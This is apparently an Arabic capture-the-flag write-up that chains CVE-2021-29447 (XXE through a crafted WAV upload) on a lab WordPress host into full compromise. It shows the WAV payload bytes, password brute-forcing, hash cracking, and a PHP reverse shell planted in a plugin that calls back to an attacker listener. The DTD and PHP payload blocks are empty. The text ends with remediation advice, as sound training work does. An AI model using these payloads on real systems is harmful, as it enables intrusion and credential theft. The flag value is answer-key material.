
الهدف هو إجراء تقييم أمني شامل لتطبيق ويب يعتمد على ووردبريس، يبلغ ذروته في اختراق كامل للخادم. سيركز التقييم على استغلال ثغرة أمنية محددة وحقيقية (CVE-2021-29447) لتحقيق الوصول الأولي.
هدف المشروع: إظهار سلسلة هجوم كاملة على تثبيت WordPress ضعيف، مع استغلال CVE-2021-29447 (XXE في مكتبة الوسائط) لتحقيق تنفيذ الأوامر عن بُعد واختراق كامل للنظام.
المرحلة 1: الاستطلاع والتعداد مسح الشبكة باستخدام Nmap:
bash مسح SYN سريع لاكتشاف المنافذ المفتوحة nmap -sS -T4 10.201.3.95
مسح تفصيلي للإصدارات والنصوص nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan النتائج:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 تعداد WordPress باستخدام WPScan:
bash تعداد المستخدمين wpscan --url http://10.201.3.95/ --enumerate u
هجوم تخمين كلمة المرور wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt بيانات الاعتماد التي تم الحصول عليها:
اسم المستخدم: test-corp | كلمة المرور: test
اسم المستخدم: corp-001 | كلمة المرور: teddybear (تم كسرها لاحقًا)
المرحلة 2: الوصول الأولي - استغلال XXE (CVE-2021-29447) إنشاء ملف WAV ضار:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav حمولة DTD الخارجية (yup.dtd):
xml
">خادم HTTP لاستخراج البيانات:
bash python3 -m http.server 8000 نص PHP لفك تشفير البيانات:
php
بيانات اعتماد قاعدة البيانات المستخرجة:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); المرحلة 3: الوصول إلى قاعدة البيانات وجمع بيانات الاعتماد اتصال MySQL:
bash mysql -h 10.201.3.95 -u thedarktangent -p استعلامات SQL المنفذة:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; تجميعات التجزئة للمستخدمين التي تم الحصول عليها:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ كسر كلمات المرور باستخدام John the Ripper:
bash إنشاء ملف التجزئة cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
كسر التجزئات john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt كلمات المرور المكسورة:
corp-001:teddybear
test-corp:test
المرحلة 4: تصعيد الامتيازات و RCE حمولة الصدفة العكسية (إضافة Hello Dolly المعدلة):
php
مستمع Netcat:
bash nc -nvlp 4444 تم الحصول على وصول الصدفة:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) المرحلة 5: ما بعد الاستغلال (بانتظار الإكمال) أوامر للجلسة التالية:
bash صيد العلم find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
تعداد تصعيد الامتيازات sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release النتائج والتوصيات الأمنية الثغرات الحرجة المحددة:
CVE-2021-29447 - معالجة الكيانات الخارجية XML في مكتبة وسائط WordPress
سياسة كلمات المرور الضعيفة - كلمات مرور يمكن تخمينها بسهولة (test, teddybear)
خدمة قاعدة بيانات مكشوفة - MySQL يمكن الوصول إليها عن بُعد
برامج قديمة - WordPress 5.6.2 مع ثغرات معروفة
صلاحيات مستخدم مفرطة - مستخدمون غير مسؤولين لديهم صلاحيات تعديل الإضافات
توصيات المعالجة:
التحديث الفوري إلى أحدث إصدار من WordPress
تنفيذ سياسة كلمات مرور قوية والمصادقة ثنائية العامل (2FA)
تقييد الوصول إلى قاعدة البيانات على المضيف المحلي فقط
التصحيح الأمني الدوري وفحص الثغرات
مبدأ الامتياز الأقل لحسابات المستخدمين
حالة المشروع: مكتمل بنسبة 90٪ - تم الحصول على الصدفة العكسية، التقاط العلم النهائي وتصعيد الامتيازات معلقان لحين تعيين IP جديد.
الجزء 2 ! العلم المرحلة النهائية: ما بعد الاستغلال والتقاط العلم الهدف: تحقيق اختراق كامل للنظام والتقاط العلم النهائي.
الإجراءات المنفذة:
تفعيل الصدفة العكسية:
تحرير ملف الإضافة hello.php في لوحة إدارة WordPress (/wp-admin/plugin-editor.php)
إدراج حمولة صدفة عكسية PHP مصممة للاتصال بجهاز Kali الخاص بنا (10.201.6.187:4444)
تنفيذ الحمولة عن طريق الوصول إلى: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
الوصول الناجح للصدفة:
تم الحصول على اتصال صدفة عكسية كمستخدم www-data
مخرجات الصدفة:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) استكشاف نظام الملفات:
تم اكتشاف دليل المستخدم: /home/stux/
تم العثور على دليل العلم: /home/stux/flag/
تم تحديد موقع ملف العلم: /home/stux/flag/flag.txt
استخراج العلم:
الأمر المنفذ: cat /home/stux/flag/flag.txt
العلم الملتقط: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
ملخص سلسلة الهجوم الكاملة المرحلة التقنية المستخدمة النتيجة
CVE-2021-29447 - معالجة الكيانات الخارجية XML في مكتبة وسائط WordPress
سياسة كلمات المرور الضعيفة - كلمات مرور يمكن تخمينها بسهولة (test, teddybear)
صلاحيات مستخدم مفرطة - مستخدمون غير مسؤولين قادرون على تعديل الإضافات
برامج قديمة - WordPress 5.6.2 مع ثغرات معروفة
كشف المعلومات - بيانات اعتماد قاعدة البيانات في wp-config.php
توصيات أمنية:
✅ التحديث الفوري إلى أحدث إصدار من WordPress
✅ تنفيذ سياسة كلمات مرور قوية مع المصادقة ثنائية العامل (2FA)
✅ التصحيح الأمني الدوري وفحص الثغرات
✅ مبدأ الامتياز الأقل لحسابات المستخدمين
✅ تقييد وظيفة رفع الملفات ومعالجة XML
الخاتمة أظهر مشروع Chimera بنجاح سلسلة هجوم كاملة من الاستطلاع الأولي إلى الاختراق الكامل للنظام. سلط التمرين الضوء على كيف يمكن لثغرة تحليل XML تبدو بسيطة (CVE-2021-29447) أن يتم تسلسلها مع الممارسات الأمنية السيئة لتحقيق السيطرة الكاملة على النظام.
أكد المشروع على أهمية:
التحديثات المنتظمة للبرامج وإدارة التصحيحات
آليات المصادقة القوية
التحكم المناسب في الوصول وإدارة الامتيازات
المراقبة الأمنية الشاملة
الحالة النهائية: ✅ مكتمل بنسبة 100٪ - تم تحقيق جميع الأهداف، تم التقاط العلم: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
يعمل مشروع Chimera كتذكير قوي بأن الأمان يتطلب دفاعًا على عمق، حيث يمكن لثغرة واحدة أن تؤدي إلى اختراق كامل للنظام عند دمجها مع نقاط ضعف أمنية أخرى.